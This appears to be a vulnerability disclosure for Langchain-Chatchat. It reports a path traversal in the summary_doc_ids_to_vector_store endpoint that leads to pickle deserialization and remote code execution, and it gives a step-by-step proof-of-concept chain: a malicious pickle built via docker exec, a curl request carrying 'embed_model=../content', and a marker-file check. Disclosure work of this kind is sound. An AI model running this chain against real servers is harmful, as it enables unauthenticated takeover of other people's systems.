【Security Vulnerability Report】CWE-502 summary_doc_ids_to_vector_store pickle deserialization RCE (CVSS 9.8)

Author: Jiecub3Created Sep 28, 2026Updated Sep 28, 2026

Security Vulnerability Report -- CWE-502

Summary

summary_doc_ids_to_vector_store pickle deserialization RCE

Vulnerability Description

Affected Repository: https://github.com/chatchat-space/Langchain-Chatchat Branch: master Commit: 49165d6af4438aa7e8a1f71ce276db55f4405151


summary_doc_ids_to_vector_store pickle deserialization RCE

  • Risk Summary: The summary_doc_ids_to_vector_store endpoint does not perform path validation on the embed_model parameter. An attacker uses path traversal (embed_model=../content) to redirect the FAISS vector store loading path to a malicious index.pkl file, combined with FAISS.load_local(allow_dangerous_deserialization=True) triggering pickle.load to execute arbitrary commands.

  • Affected Interface:

    • POST /knowledge_base/kb_summary_api/summary_doc_ids_to_vector_store (port 7861)
  • Exploitation Conditions: Exploitable with default configuration, no authentication required; the target knowledge base must have a content directory (default KB creation includes one)

  • Known Status: Unknown: No CVE, public article, Issue, or security community discussion found regarding Langchain-Chatchat's embed_model path traversal triggering pickle deserialization RCE via this specific path

  • Exploit PoC:

Usage:

bash
./poc/exploit_entry_020_pickle_rce.sh <target> <kb_name> [cmd]
./poc/exploit_entry_020_pickle_rce.sh http://127.0.0.1:7861 samples "touch /tmp/entry020_rce"

Exploitation chain step by step:

bash
# Step 1: Generate malicious index.pkl (__reduce__=os.system) + legitimate index.faiss (4-dimensional IndexFlatL2) inside container
docker exec chatchat-local python3 -c "import pickle,faiss; pickle.dump(...); faiss.write_index(faiss.IndexFlatL2(4),'index.faiss')"
# Expected: index.pkl + index.faiss placed in KB content directory

# Step 2: POST summary_doc_ids_to_vector_store, embed_model=../content path traversal
curl -s -X POST http://127.0.0.1:7861/knowledge_base/kb_summary_api/summary_doc_ids_to_vector_store \
  -H "Content-Type: application/json" \
  -d '{"knowledge_base_name":"samples","embed_model":"../content","summary_doc_ids":["x"]}'
# Expected: HTTP 200, FAISS.load_local(allow_dangerous_deserialization=True) reads index.pkl -> pickle.load -> os.system(cmd)

# Step 3: Verify marker file exists
docker exec chatchat-local test -f /tmp/entry020_rce && echo "RCE OK"
# Expected: RCE OK  <- pickle deserialization command executed

Note: FAISS first load_local failure holds a cache lock; need to docker restart chatchat-local before re-running.

Severity

CVSS v3.1: 9.8 (Critical)

Vulnerability Category: CWE-502

CVE Assignment Request

If this vulnerability is confirmed as genuine, we would be grateful if you could request a CVE ID from GitHub for this security advisory.

Even if this vulnerability no longer affects the latest version, we kindly ask whether a CVE could still be assigned for the historically affected versions, as this would assist users and organizations in identifying and remediating the issue in legacy deployments.

Thank you for your help.

Source: chatchat-space/Langchain-Chatchat